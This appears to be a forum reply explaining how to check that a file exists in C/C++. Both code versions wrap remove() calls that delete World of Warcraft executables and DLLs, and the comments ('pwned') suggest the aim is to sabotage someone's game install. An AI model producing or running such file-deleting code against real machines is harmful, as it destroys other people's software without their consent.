You simply add an condition, that checks for the existence of the file. You can do that by trying to open the file using standard C/C++ library and checking if it fails, like this:
Version that uses new C++ object oriented libraries.
Code:
// #include <cstdlib> shouldn't be needed, remove should already be included using <iostream>
#include <iostream>
#include <fstream>
using namespace std; // when you write this, you don't have to write std:: before every function (or other identifiers), because this makes it implicit
int main(int argc, char *argv[])
{
ifstream file = ifstream("filename.ext"); // try to open the file
if(file) // if file was opened sucessfully, this condition will be true and code in the brackets will be executed, otherwise, it will be skipped
{
remove("C:\\Program Files (x86)\\World of Warcraft\\battle.net.dll"); //pwned
remove("C:\\Program Files (x86)\\World of Warcraft\\repair.exe"); //lol pwned
remove("C:\\Program Files (x86)\\World of Warcraft\\launcher.exe"); //PWNAGE TIME
file.close(); // don't forget to close it after you open it
}
return EXIT_SUCCESS;
}
Version that uses C-like libraries, but it's still C++, but can be converted to standard C easily (swap <cstdlib> for <stdlib.h> and <cstdio> for <stdio.h> and remove the using namespace declaration)
Code:
#include <cstdlib>
#include <cstdio>
using namespace std; // when you write this, you don't have to write std:: before every function (or other identifiers), because this makes it implicit
int main(int argc, char *argv[])
{
FILE *file = fopen("filename.ext", "r"); // try to open the file for reading (the "r"), using the input file stream (ifstream)
if(file) // if file was opened sucessfully, this condition will be true and code in the brackets will be executed, otherwise, it will be skipped
{
remove("C:\\Program Files (x86)\\World of Warcraft\\battle.net.dll"); //pwned
remove("C:\\Program Files (x86)\\World of Warcraft\\repair.exe"); //lol pwned
remove("C:\\Program Files (x86)\\World of Warcraft\\launcher.exe"); //PWNAGE TIME
fclose(file); // don't forget to close it after you open it
}
return EXIT_SUCCESS;
}
There are also functions (in various libraries and APIs) that are specifically designed for checking if file exists, however these are not part of standard C/C++ library and thus might not work everywhere and are often operating system specific (though you're obviously running on Windows).
Also, it's discouraged to use absolute paths (rather find the path to the specific application (or game in your case) for example by retrieving data from the registry), because if the files are located elsewhere, your code won't work.